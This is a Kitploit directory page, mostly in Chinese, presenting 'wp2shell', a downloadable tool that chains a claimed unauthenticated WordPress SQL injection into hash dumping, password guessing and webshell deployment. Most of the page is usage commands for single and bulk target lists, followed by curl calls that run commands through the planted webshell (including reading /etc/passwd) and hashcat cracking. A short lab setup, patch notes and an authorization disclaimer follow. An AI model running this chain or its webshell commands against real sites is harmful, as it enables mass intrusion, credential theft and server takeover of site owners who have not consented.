Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
wp2shell — Automated exploit chain for CVE-2026-63030 / CVE-2026-60137 — unauthenticated blind SQLi via WordPress REST batch route-confusion. Dumps user hashes, cracks credentials, deploys webshell. Supports single target and bulk site lists. For authorized security testing only. | Kitploit
工具/GitHubGitHub/0xwhoknows/wp2shell
Password AttacksVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingRed Teaming
GitHub0xwhoknows/wp2shell

wp2shell

Automated exploit chain for CVE-2026-63030 / CVE-2026-60137 — unauthenticated blind SQLi via WordPress REST batch route-confusion. Dumps user hashes, cracks credentials, deploys webshell. Supports single target and bulk site lists. For authorized security testing only.

查看仓库
11个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

wp2shell

WordPress REST 批量路由混乱盲SQL注入——自动化利用链。

CVE-2026-63030 / CVE-2026-60137

受影响版本WordPress 6.9.0 – 6.9.4 和 7.0.0 – 7.0.1
修复版本WordPress 6.9.5 / 7.0.2
注入点通过反同步的 author_exclude 参数,经 author__not_in SQL 注入
认证要求无(未认证 SQLi)

仅用于授权的安全测试。


工作原理

WordPress REST API 批量端点(/wp-json/batch/v1)允许嵌套的批量请求。通过双层嵌套的反同步载荷,使内部的 $matches / $validation 数组发生偏移,从而将精心构造的 author_exclude 值未经净化地注入到 author__not_in SQL 语句中。由此实现未认证的盲布尔加时间型 SQL 注入。

利用链——4 个阶段:

root@kitploit:~
阶段 1  漏洞检测         批量标记探测 + 可选 SQL 时间检测
阶段 2  哈希提取         盲 SQLi 提取 wp_users(登录名 + 哈希)
阶段 3  认证             通过 wp-login.php 进行字典攻击
阶段 4  Webshell 部署    插件 ZIP 上传 -> RCE 验证

环境要求

  • Python 3.8+
  • aiohttp
  • colorama
root@kitploit:~
pip install aiohttp colorama

使用方法

单个目标

root@kitploit:~
python wp2shell.py http://target.com

目标列表(每行一个 URL)

root@kitploit:~
python wp2shell.py sites.txt

目标列表 + 自定义密码文件

root@kitploit:~
python wp2shell.py sites.txt -p pass.txt

已知凭据(跳过字典)

root@kitploit:~
python wp2shell.py http://target.com --user admin --password admin123

确认 SQLi 并附带时间检测

root@kitploit:~
python wp2shell.py http://target.com --confirm-sqli

不使用漂亮固定链接

root@kitploit:~
python wp2shell.py http://target.com --rest-route

通过 Burp 代理

root@kitploit:~
python wp2shell.py http://target.com --proxy http://127.0.0.1:8080

选项


输出文件

文件内容
creds.txthttp://target=>user:pass(破解成功为明文,否则为哈希)
webshell.txt活跃的 webshell URL
VULNERABLE.txt所有阶段 1 确认存在漏洞的目标

所有文件均为追加模式——多次运行的结果会累积。

使用 webshell —— 在 webshell.txt 中的 URL 后附加 ?cmd=COMMAND:

root@kitploit:~
# 浏览器
http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=id

# curl
curl "http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=id"
curl "http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=cat+/etc/passwd"

离线破解

若字典未能匹配,creds.txt 中会包含提取的哈希:

root@kitploit:~
hashcat -m 400 creds.txt wordlist.txt

然后使用破解得到的密码重新运行:

root@kitploit:~
python wp2shell.py http://target.com --user admin --password <明文密码>

本地实验环境(Docker)

启动一个存在漏洞的 WordPress 7.0.1 实例,用于安全的本地测试。

首次运行——构建卷并安装 WordPress:

root@kitploit:~
docker compose up -d db wordpress
docker compose run --rm wpcli

后续启动:

root@kitploit:~
docker compose up -d db wordpress

停止:

root@kitploit:~
docker compose down

完全重置(清除所有数据):

root@kitploit:~
docker compose down -v

对实验环境运行利用脚本:

root@kitploit:~
python wp2shell.py http://localhost:8080

补丁

更新至 WordPress 6.9.5 或 7.0.2。修复程序在派发嵌套请求之前对批量路由进行验证,防止了导致 SQL 注入点暴露的反同步问题。


法律声明

仅可用于您拥有或已获得明确书面授权进行测试的系统。未经授权使用属于违法行为。

下载工具
标志默认值描述
target—URL(http://target)或目标列表文件路径
-p FILE—密码列表文件(每行一个)
--user—跳过字典,使用此用户名
--password—跳过字典,使用此密码
--confirm-sqli关闭在标记检查后发送活跃的 SQL 时间探测
--rest-route关闭使用 /?rest_route=/batch/v1(不启用漂亮固定链接)
--sleep N3.0SQL SLEEP() 延迟秒数
--samples N3用于中位数计算的时间采样对数量
--timeout N30.0HTTP 请求超时
--prefix PREFIXwp_数据库表前缀
--proxy URL—HTTP/HTTPS 代理
地址http://localhost:8080
管理员admin / admin123
MySQL 主机db
MySQL 用户/密码wpuser / wppass
数据库wordpress